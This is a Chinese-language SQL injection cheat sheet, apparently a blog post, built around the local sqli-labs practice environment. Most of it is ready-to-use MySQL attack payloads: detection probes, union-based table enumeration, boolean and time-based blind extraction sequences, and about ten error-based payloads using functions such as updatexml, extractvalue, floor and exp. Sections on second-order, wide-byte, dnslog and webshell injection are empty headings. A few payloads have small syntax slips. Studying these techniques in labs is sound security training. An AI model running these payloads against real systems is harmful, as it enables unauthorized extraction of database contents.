目录
一、原理
二、SQL注入判断方法
1.字符型检测
url: http://127.0.0.1/sqli-labs-master/Less-1/?id=1’
会显示这样的报错,大致意思是你有一个sql语法错误,当在后面加了%23一个注释符后会正常显示。
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=1#
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2#
2.数字型检测
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2
3.搜索型检测和xx型检测
三、union注入
1.order by和报错注入
select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));
2.union 联合查询
?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’) --+
四、盲注
1.布尔盲注
(1)查询数据库长度
and (length(database()))>8%23
(2)查询当前数据库名称
and (ascii(substr(database(),1,1)))<120 %23
(3)查询数据库下有多少表
and (select count(*) from information_schema.tables where table_schema='数据库名')>4 %23
(4)查询数据库下表名第一位
and (length((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1)))=6%23
(5)查询数据库下表中有多少个字段
and (ascii(substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1))>100)%23
(6)判断数据库下表中的第一个字段的长度
and (length((select column_name from information_schema.columns where table_schema='数据库名称' and table_name='表名' limit 0,1)))=2%23
(7)查询数据库下表里面的第一个字段的第一位是多少
and (ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105 %23
(8)得到字段探测第一条数据
and (ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=68 %23
2.时间盲注
(1)判断是否存在延迟函数
and sleep(5) %23
(2)查询当前数据库的长度,如果正确那么就延迟5秒
and if((length(database()))>7,sleep(5),1) --+
(3)判断当前数据库名第一位是否为a
and if((substr(database(),1,1)='a'),sleep(5),1) %23
(4)判断当前数据库名第一位ascii是否为100
and if((ascii(substr(database(),1,1))=100),sleep(5),1) %23
(5)查询表数量
and if((select count(*) from information_schema.tables where table_schema='数据库名称')=4,sleep(5),1)%23
(6)查询表名长度
and if((select length((select table_name from information_schema.tables where table_schema='数据库名' limit 3,1))=5),sleep(5),1)%23
(7)截取表名第一位
and if((select ascii(substr((select table_name from information_schema.tables where table_schema='数据库名 limit 3,1),1,1)))=117,sleep(5),1)%23
(8)查询列字段数量
and if(((select count(*) from information_schema.columns where table_schema='数据库名' and table_name='users')=3),sleep(5),1)%23
(9)查询列名长度
and if((select length((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1))=2),sleep(5),1)%23
(10)截取列名第一位
and if((select ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105,sleep(5),1)%23
(11)查询id第一条数据的长度
and if((select length((select id from 表名 limit 0,1)))=1,sleep(5),1)%23
(12)获取数据信息内容
and if((select ascii(substr((select id from 表名 limit 0,1),1,1)))=49,sleep(5),1)%23
五、报错注入
(1)floor()
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
(2)extractvalue()
select * from 数据库名 where id=1 and (extractvalue(1,concat(0x7e,(select 表名()),0x7e)));
(3)updatexml()
select * from 数据库名 where id=1 and (updatexml(1,concat(0x7e,(select 表名()),0x7e),1));
(4)geometrycollection()
select * from 数据库名where id=1 and geometrycollection((select * from(select * from(select 表名())a)b));
(5)multipoint()
select * from 数据库名 where id=1 and multipoint((select * from(select * from(select 表名())a)b));
(6)polygon()
select * from 数据库名 where id=1 and polygon((select * from(select * from(select 表名())a)b));
(7)multipolygon()
select * from 数据库名 where id=1 and multipolygon((select * from(select * from(select 表名())a)b));
(8)linestring()
select * from 数据库名 where id=1 and linestring((select * from(select * from(select 表名())a)b));
(9)multilinestring()
select * from 数据库名 where id=1 and multilinestring((select * from(select * from(select 表名())a)b));
(10)exp()
select * 数据库名 test where id=1 and exp(~(select * from(select 表名())a));
六、堆叠注入
例如
select * from users;show databases;
七、二次注入
二次注入,可以概括为以下两步:
(1)插入恶意数据
(2)引用恶意数据
八、宽字节注入
(1)原理
(2)条件
九、dnslog注入
(1)条件
十、SQL注入写入webshell
(1)条件
十一、总结
总结了很久的资料,希望各位技术友可以读完。